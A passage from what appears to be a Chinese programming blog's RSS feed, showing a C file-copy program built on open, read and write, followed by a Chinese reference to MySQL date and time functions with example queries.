/>#include&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #0000ff;">string</span><span style="color: #000000;">.h</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br /></span><span style="color: #0000ff;">#define</span><span style="color: #000000;">&nbsp;BUFFER_SIZE&nbsp;1024</span><span style="color: #000000;"><br /><br /></span><span style="color: #0000ff;">int</span><span style="color: #000000;">&nbsp;main(</span><span style="color: #0000ff;">int</span><span style="color: #000000;">&nbsp;argc,&nbsp;</span><span style="color: #0000ff;">char</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">**</span><span style="color: #000000;">argv)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">int</span><span style="color: #000000;">&nbsp;from_fd,&nbsp;to_fd;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">int</span><span style="color: #000000;">&nbsp;bytes_read,&nbsp;bytes_write;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">char</span><span style="color: #000000;">&nbsp;buffer[BUFFER_SIZE];<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">char</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">*</span><span style="color: #000000;">ptr;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(argc&nbsp;</span><span style="color: #000000;">!=</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">3</span><span style="color: #000000;">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr,&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">Usage：%s&nbsp;fromfile&nbsp;tofile\n\a</span><span style="color: #000000;">"</span><span style="color: #000000;">,&nbsp;argv[</span><span style="color: #000000;">0</span><span style="color: #000000;">]);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #000000;">1</span><span style="color: #000000;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">/*</span><span style="color: #008000;">&nbsp;打开源文件&nbsp;</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;((from_fd&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;open(argv[</span><span style="color: #000000;">1</span><span style="color: #000000;">],&nbsp;O_RDONLY))&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">-</span><span style="color: #000000;">1</span><span style="color: #000000;">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr,&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">Open&nbsp;%s&nbsp;Error：%s\n</span><span style="color: #000000;">"</span><span style="color: #000000;">,&nbsp;argv[</span><span style="color: #000000;">1</span><span style="color: #000000;">],&nbsp;strerror(errno));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #000000;">1</span><span style="color: #000000;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">/*</span><span style="color: #008000;">&nbsp;创建目的文件&nbsp;</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;((to_fd&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;open(argv[</span><span style="color: #000000;">2</span><span style="color: #000000;">],&nbsp;O_WRONLY&nbsp;</span><span style="color: #000000;">|</span><span style="color: #000000;">&nbsp;O_CREAT,&nbsp;S_IRUSR&nbsp;</span><span style="color: #000000;">|</span><span style="color: #000000;">&nbsp;S_IWUSR))&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">-</span><span style="color: #000000;">1</span><span style="color: #000000;">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr,&nbsp;</span><span style="color: #000000;">"</span><span style="color: #000000;">Open&nbsp;%s&nbsp;Error：%s\n</span><span style="color: #000000;">"</span><span style="color: #000000;">,&nbsp;argv[</span><span style="color: #000000;">2</span><span style="color: #000000;">],&nbsp;strerror(errno));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #000000;">1</span><span style="color: #000000;">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">/*</span><span style="color: #008000;">&nbsp;以下代码是一个经典的拷贝文件的代码&nbsp;</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">while</span><span style="color: #000000;">&nbsp;(bytes_read&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;read(from_fd,&nbsp;buffer,&nbsp;BUFFER_SIZE))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">/*</span><span style="color: #008000;">&nbsp;一个致命的错误发生了&nbsp;</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;((bytes_read&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">-</span><span style="color: #000000;">1</span><span style="color: #000000;">)&nbsp;</span><span style="color: #000000;">&amp;&amp;</span><span style="color: #000000;">&nbsp;(errno&nbsp;</span><span style="color: #000000;">!=</span><span style="color: #000000;">&nbsp;EINTR))&nbsp;</span><span style="color: #0000ff;">break</span><span style="color: #000000;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">else</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(bytes_read&nbsp;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ptr&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;buffer;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">while</span><span style="color: #000000;">&nbsp;(bytes_write&nbsp;</span><span style="color: #000000;">=</span><span style="color: #000000;">&nbsp;write(to_fd,&nbsp;ptr,&nbsp;bytes_read))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">/*</span><span style="color: #008000;">&nbsp;一个致命错误发生了&nbsp;</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;((bytes_write&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">-</span><span style="color: #000000;">1</span><span style="color: #000000;">)&nbsp;</span><span style="color: #000000;">&amp;&amp;</span><span style="color: #000000;">&nbsp;(errno&nbsp;</span><span style="color: #000000;">!=</span><span style="color: #000000;">&nbsp;EINTR))</span><span style="color: #0000ff;">break</span><span style="color: #000000;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">/*</span><span style="color: #008000;">&nbsp;写完了所有读的字节&nbsp;</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">else</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(bytes_write&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;bytes_read)&nbsp;</span><span style="color: #0000ff;">break</span><span style="color: #000000;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">/*</span><span style="color: #008000;">&nbsp;只写了一部分,继续写&nbsp;</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">else</span><span style="color: #000000;">&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(bytes_write&nbsp;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">0</span><span style="color: #000000;">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ptr&nbsp;</span><span style="color: #000000;">+=</span><span style="color: #000000;">&nbsp;bytes_write;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bytes_read&nbsp;</span><span style="color: #000000;">-=</span><span style="color: #000000;">&nbsp;bytes_write;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000;">/*</span><span style="color: #008000;">&nbsp;写的时候发生的致命错误&nbsp;</span><span style="color: #008000;">*/</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff;">if</span><span style="color: #000000;">&nbsp;(bytes_write&nbsp;</span><span style="color: #000000;">==</span><span style="color: #000000;">&nbsp;</span><span style="color: #000000;">-</span><span style="color: #000000;">1</span><span style="color: #000000;">)</span><span style="color: #0000ff;">break</span><span style="color: #000000;">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;close(from_fd);<br />&nbsp;&nbsp;&nbsp;&nbsp;close(to_fd);<br />&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #000000;">0</span><span style="color: #000000;">);<br />}<br /></span></div><img src ="http://www.cppblog.com/niewenlong/aggbug/210534.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2015-05-03 23:35 <a href="http://www.cppblog.com/niewenlong/archive/2015/05/03/Linux_open_read_write.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Mysql日期和时间函数不求人</title><link>http://www.cppblog.com/niewenlong/archive/2008/08/15/58900.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Thu, 14 Aug 2008 16:28:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2008/08/15/58900.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/58900.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2008/08/15/58900.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/58900.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/58900.html</trackback:ping><description><![CDATA[<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">对于每个类型拥有的值范围以及并且指定日期何时间值的有效格式的描述见7.3.6 日期和时间类型。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">这里是一个使用日期函数的例子。下面的查询选择了所有记录，其date_col的值是在最后30天以内：&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">mysql&gt; SELECT something FROM table&nbsp; <br>WHERE TO_DAYS(NOW()) - TO_DAYS(date_col) &lt;= 30;&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">DAYOFWEEK(date)&nbsp; <br>返回日期date的星期索引(1=星期天，2=星期一, &#8230;&#8230;7=星期六)。这些索引值对应于ODBC标准。&nbsp; <br>mysql&gt; select DAYOFWEEK('1998-02-03');&nbsp; <br>-&gt; 3&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">WEEKDAY(date)&nbsp; <br>返回date的星期索引(0=星期一，1=星期二, &#8230;&#8230;6= 星期天)。&nbsp; <br>mysql&gt; select WEEKDAY('1997-10-04 22:23:00');&nbsp; <br>-&gt; 5&nbsp; <br>mysql&gt; select WEEKDAY('1997-11-05');&nbsp; <br>-&gt; 2&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">DAYOFMONTH(date)&nbsp; <br>返回date的月份中日期，在1到31范围内。&nbsp; <br>mysql&gt; select DAYOFMONTH('1998-02-03');&nbsp; <br>-&gt; 3&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">DAYOFYEAR(date)&nbsp; <br>返回date在一年中的日数, 在1到366范围内。&nbsp; <br>mysql&gt; select DAYOFYEAR('1998-02-03');&nbsp; <br>-&gt; 34&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">MONTH(date)&nbsp; <br>返回date的月份，范围1到12。&nbsp; <br>mysql&gt; select MONTH('1998-02-03');&nbsp; <br>-&gt; 2&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">DAYNAME(date)&nbsp; <br>返回date的星期名字。&nbsp; <br>mysql&gt; select DAYNAME("1998-02-05");&nbsp; <br>-&gt; 'Thursday'&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">MONTHNAME(date)&nbsp; <br>返回date的月份名字。&nbsp; <br>mysql&gt; select MONTHNAME("1998-02-05");&nbsp; <br>-&gt; 'February'&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">QUARTER(date)&nbsp; <br>返回date一年中的季度，范围1到4。&nbsp; <br>mysql&gt; select QUARTER('98-04-01');&nbsp; <br>-&gt; 2&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">WEEK(date)&nbsp; <br>　&nbsp; <br>WEEK(date,first)&nbsp; <br>对于星期天是一周的第一天的地方，有一个单个参数，返回date的周数，范围在0到52。2个参数形式WEEK()允许 <br>你指定星期是否开始于星期天或星期一。如果第二个参数是0，星期从星期天开始，如果第二个参数是1， <br>从星期一开始。&nbsp; <br>mysql&gt; select WEEK('1998-02-20');&nbsp; <br>-&gt; 7&nbsp; <br>mysql&gt; select WEEK('1998-02-20',0);&nbsp; <br>-&gt; 7&nbsp; <br>mysql&gt; select WEEK('1998-02-20',1);&nbsp; <br>-&gt; 8&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">YEAR(date)&nbsp; <br>返回date的年份，范围在1000到9999。&nbsp; <br>mysql&gt; select YEAR('98-02-03');&nbsp; <br>-&gt; 1998&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">HOUR(time)&nbsp; <br>返回time的小时，范围是0到23。&nbsp; <br>mysql&gt; select HOUR('10:05:03');&nbsp; <br>-&gt; 10&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">MINUTE(time)&nbsp; <br>返回time的分钟，范围是0到59。&nbsp; <br>mysql&gt; select MINUTE('98-02-03 10:05:03');&nbsp; <br>-&gt; 5&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">SECOND(time)&nbsp; <br>回来time的秒数，范围是0到59。&nbsp; <br>mysql&gt; select SECOND('10:05:03');&nbsp; <br>-&gt; 3&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">PERIOD_ADD(P,N)&nbsp; <br>增加N个月到阶段P（以格式YYMM或YYYYMM)。以格式YYYYMM返回值。注意阶段参数P不是日期值。&nbsp; <br>mysql&gt; select PERIOD_ADD(9801,2);&nbsp; <br>-&gt; 199803&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">PERIOD_DIFF(P1,P2)&nbsp; <br>返回在时期P1和P2之间月数，P1和P2应该以格式YYMM或YYYYMM。注意，时期参数P1和P2不是日期值。&nbsp; <br>mysql&gt; select PERIOD_DIFF(9802,199703);&nbsp; <br>-&gt; 11&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">DATE_ADD(date,INTERVAL expr type)&nbsp; <br>　&nbsp; <br>DATE_SUB(date,INTERVAL expr type)&nbsp; <br>　&nbsp; <br>ADDDATE(date,INTERVAL expr type)&nbsp; <br>　&nbsp; <br>SUBDATE(date,INTERVAL expr type)&nbsp; <br>这些功能执行日期运算。对于MySQL 3.22，他们是新的。ADDDATE()和SUBDATE()是DATE_ADD()和DATE_SUB()的同义词。 <br>在MySQL 3.23中，你可以使用+和-而不是DATE_ADD()和DATE_SUB()。（见例子）date是一个指定开始日期的 <br>DATETIME或DATE值，expr是指定加到开始日期或从开始日期减去的间隔值一个表达式，expr是一个字符串；它可以以 <br>一个&#8220;-&#8221;开始表示负间隔。type是一个关键词，指明表达式应该如何被解释。EXTRACT(type FROM date)函数从日期 <br>中返回&#8220;type&#8221;间隔。下表显示了type和expr参数怎样被关联： type值 含义 期望的expr格式&nbsp; <br>SECOND 秒 SECONDS&nbsp; <br>MINUTE 分钟 MINUTES&nbsp; <br>HOUR 时间 HOURS&nbsp; <br>DAY 天 DAYS&nbsp; <br>MONTH 月 MONTHS&nbsp; <br>YEAR 年 YEARS&nbsp; <br>MINUTE_SECOND 分钟和秒 "MINUTES:SECONDS"&nbsp; <br>HOUR_MINUTE 小时和分钟 "HOURS:MINUTES"&nbsp; <br>DAY_HOUR 天和小时 "DAYS HOURS"&nbsp; <br>YEAR_MONTH 年和月 "YEARS-MONTHS"&nbsp; <br>HOUR_SECOND 小时, 分钟， "HOURS:MINUTES:SECONDS"&nbsp; <br>DAY_MINUTE 天, 小时, 分钟 "DAYS HOURS:MINUTES"&nbsp; <br>DAY_SECOND 天, 小时, 分钟, 秒 "DAYS HOURS:MINUTES:SECONDS"&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">MySQL在expr格式中允许任何标点分隔符。表示显示的是建议的分隔符。如果date参数是一个DATE值并且你的计算仅仅 <br>包含YEAR、MONTH和DAY部分(即，没有时间部分)，结果是一个DATE值。否则结果是一个DATETIME值。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">mysql&gt; SELECT "1997-12-31 23:59:59" + INTERVAL 1 SECOND;&nbsp; <br>-&gt; 1998-01-01 00:00:00&nbsp; <br>mysql&gt; SELECT INTERVAL 1 DAY + "1997-12-31";&nbsp; <br>-&gt; 1998-01-01&nbsp; <br>mysql&gt; SELECT "1998-01-01" - INTERVAL 1 SECOND;&nbsp; <br>-&gt; 1997-12-31 23:59:59&nbsp; <br>mysql&gt; SELECT DATE_ADD("1997-12-31 23:59:59",&nbsp; <br>INTERVAL 1 SECOND);&nbsp; <br>-&gt; 1998-01-01 00:00:00&nbsp; <br>mysql&gt; SELECT DATE_ADD("1997-12-31 23:59:59",&nbsp; <br>INTERVAL 1 DAY);&nbsp; <br>-&gt; 1998-01-01 23:59:59&nbsp; <br>mysql&gt; SELECT DATE_ADD("1997-12-31 23:59:59",&nbsp; <br>INTERVAL "1:1" MINUTE_SECOND);&nbsp; <br>-&gt; 1998-01-01 00:01:00&nbsp; <br>mysql&gt; SELECT DATE_SUB("1998-01-01 00:00:00",&nbsp; <br>INTERVAL "1 1:1:1" DAY_SECOND);&nbsp; <br>-&gt; 1997-12-30 22:58:59&nbsp; <br>mysql&gt; SELECT DATE_ADD("1998-01-01 00:00:00",&nbsp; <br>INTERVAL "-1 10" DAY_HOUR);&nbsp; <br>-&gt; 1997-12-30 14:00:00&nbsp; <br>mysql&gt; SELECT DATE_SUB("1998-01-02", INTERVAL 31 DAY);&nbsp; <br>-&gt; 1997-12-02&nbsp; <br>mysql&gt; SELECT EXTRACT(YEAR FROM "1999-07-02");&nbsp; <br>-&gt; 1999&nbsp; <br>mysql&gt; SELECT EXTRACT(YEAR_MONTH FROM "1999-07-02 01:02:03");&nbsp; <br>-&gt; 199907&nbsp; <br>mysql&gt; SELECT EXTRACT(DAY_MINUTE FROM "1999-07-02 01:02:03");&nbsp; <br>-&gt; 20102&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">如果你指定太短的间隔值(不包括type关键词期望的间隔部分)，MySQL假设你省掉了间隔值的最左面部分。例如， <br>如果你指定一个type是DAY_SECOND，值expr被希望有天、小时、分钟和秒部分。如果你象"1:10"这样指定值， <br>MySQL假设日子和小时部分是丢失的并且值代表分钟和秒。换句话说，"1:10" DAY_SECOND以它等价于"1:10" MINUTE_SECOND <br>的方式解释，这对那MySQL解释TIME值表示经过的时间而非作为一天的时间的方式有二义性。如果你使用确实不正确的日期， <br>结果是NULL。如果你增加MONTH、YEAR_MONTH或YEAR并且结果日期大于新月份的最大值天数，日子在新月用最大的天调整。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">mysql&gt; select DATE_ADD('1998-01-30', Interval 1 month);&nbsp; <br>-&gt; 1998-02-28&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">注意，从前面的例子中词INTERVAL和type关键词不是区分大小写的。&nbsp; <br>TO_DAYS(date)&nbsp; <br>给出一个日期date，返回一个天数(从0年的天数)。&nbsp; <br>mysql&gt; select TO_DAYS(950501);&nbsp; <br>-&gt; 728779&nbsp; <br>mysql&gt; select TO_DAYS('1997-10-07');&nbsp; <br>-&gt; 729669&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">TO_DAYS()不打算用于使用格列高里历(1582)出现前的值。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">FROM_DAYS(N)&nbsp; <br>给出一个天数N，返回一个DATE值。&nbsp; <br>mysql&gt; select FROM_DAYS(729669);&nbsp; <br>-&gt; '1997-10-07'&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">TO_DAYS()不打算用于使用格列高里历(1582)出现前的值。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">DATE_FORMAT(date,format)&nbsp; <br>根据format字符串格式化date值。下列修饰符可以被用在format字符串中： %M 月名字(January&#8230;&#8230;December)&nbsp; <br>%W 星期名字(Sunday&#8230;&#8230;Saturday)&nbsp; <br>%D 有英语前缀的月份的日期(1st, 2nd, 3rd, 等等。）&nbsp; <br>%Y 年, 数字, 4 位&nbsp; <br>%y 年, 数字, 2 位&nbsp; <br>%a 缩写的星期名字(Sun&#8230;&#8230;Sat)&nbsp; <br>%d 月份中的天数, 数字(00&#8230;&#8230;31)&nbsp; <br>%e 月份中的天数, 数字(0&#8230;&#8230;31)&nbsp; <br>%m 月, 数字(01&#8230;&#8230;12)&nbsp; <br>%c 月, 数字(1&#8230;&#8230;12)&nbsp; <br>%b 缩写的月份名字(Jan&#8230;&#8230;Dec)&nbsp; <br>%j 一年中的天数(001&#8230;&#8230;366)&nbsp; <br>%H 小时(00&#8230;&#8230;23)&nbsp; <br>%k 小时(0&#8230;&#8230;23)&nbsp; <br>%h 小时(01&#8230;&#8230;12)&nbsp; <br>%I 小时(01&#8230;&#8230;12)&nbsp; <br>%l 小时(1&#8230;&#8230;12)&nbsp; <br>%i 分钟, 数字(00&#8230;&#8230;59)&nbsp; <br>%r 时间,12 小时(hh:mm:ss [AP]M)&nbsp; <br>%T 时间,24 小时(hh:mm:ss)&nbsp; <br>%S 秒(00&#8230;&#8230;59)&nbsp; <br>%s 秒(00&#8230;&#8230;59)&nbsp; <br>%p AM或PM&nbsp; <br>%w 一个星期中的天数(0=Sunday &#8230;&#8230;6=Saturday ）&nbsp; <br>%U 星期(0&#8230;&#8230;52), 这里星期天是星期的第一天&nbsp; <br>%u 星期(0&#8230;&#8230;52), 这里星期一是星期的第一天&nbsp; <br>%% 一个文字&#8220;%&#8221;。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">所有的其他字符不做解释被复制到结果中。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">mysql&gt; select DATE_FORMAT('1997-10-04 22:23:00', '%W %M %Y');&nbsp; <br>-&gt; 'Saturday October 1997'&nbsp; <br>mysql&gt; select DATE_FORMAT('1997-10-04 22:23:00', '%H:%i:%s');&nbsp; <br>-&gt; '22:23:00'&nbsp; <br>mysql&gt; select DATE_FORMAT('1997-10-04 22:23:00',&nbsp; <br>'%D %y %a %d %m %b %j');&nbsp; <br>-&gt; '4th 97 Sat 04 10 Oct 277'&nbsp; <br>mysql&gt; select DATE_FORMAT('1997-10-04 22:23:00',&nbsp; <br>'%H %k %I %r %T %S %w');&nbsp; <br>-&gt; '22 22 10 10:23:00 PM 22:23:00 00 6'&nbsp; <br>MySQL3.23中，在格式修饰符字符前需要%。在MySQL更早的版本中，%是可选的。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">TIME_FORMAT(time,format)&nbsp; <br>这象上面的DATE_FORMAT()函数一样使用，但是format字符串只能包含处理小时、分钟和秒的那些格式修饰符。 <br>其他修饰符产生一个NULL值或0。&nbsp; <br>CURDATE()&nbsp; <br>　&nbsp; <br>CURRENT_DATE&nbsp; <br>以'YYYY-MM-DD'或YYYYMMDD格式返回今天日期值，取决于函数是在一个字符串还是数字上下文被使用。&nbsp; <br>mysql&gt; select CURDATE();&nbsp; <br>-&gt; '1997-12-15'&nbsp; <br>mysql&gt; select CURDATE() + 0;&nbsp; <br>-&gt; 19971215&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">CURTIME()&nbsp; <br>　&nbsp; <br>CURRENT_TIME&nbsp; <br>以'HH:MM:SS'或HHMMSS格式返回当前时间值，取决于函数是在一个字符串还是在数字的上下文被使用。&nbsp; <br>mysql&gt; select CURTIME();&nbsp; <br>-&gt; '23:50:26'&nbsp; <br>mysql&gt; select CURTIME() + 0;&nbsp; <br>-&gt; 235026&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">NOW()&nbsp; <br>　&nbsp; <br>SYSDATE()&nbsp; <br>　&nbsp; <br>CURRENT_TIMESTAMP&nbsp; <br>以'YYYY-MM-DD HH:MM:SS'或YYYYMMDDHHMMSS格式返回当前的日期和时间，取决于函数是在一个字符串还是在数字的 <br>上下文被使用。&nbsp; <br>mysql&gt; select NOW();&nbsp; <br>-&gt; '1997-12-15 23:50:26'&nbsp; <br>mysql&gt; select NOW() + 0;&nbsp; <br>-&gt; 19971215235026&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">UNIX_TIMESTAMP()&nbsp; <br>　&nbsp; <br>UNIX_TIMESTAMP(date)&nbsp; <br>如果没有参数调用，返回一个Unix时间戳记(从'1970-01-01 00:00:00'GMT开始的秒数)。如果UNIX_TIMESTAMP()用一 <br>个date参数被调用，它返回从'1970-01-01 00:00:00' GMT开始的秒数值。date可以是一个DATE字符串、一个DATETIME <br>字符串、一个TIMESTAMP或以YYMMDD或YYYYMMDD格式的本地时间的一个数字。&nbsp; <br>mysql&gt; select UNIX_TIMESTAMP();&nbsp; <br>-&gt; 882226357&nbsp; <br>mysql&gt; select UNIX_TIMESTAMP('1997-10-04 22:23:00');&nbsp; <br>-&gt; 875996580&nbsp; </p>
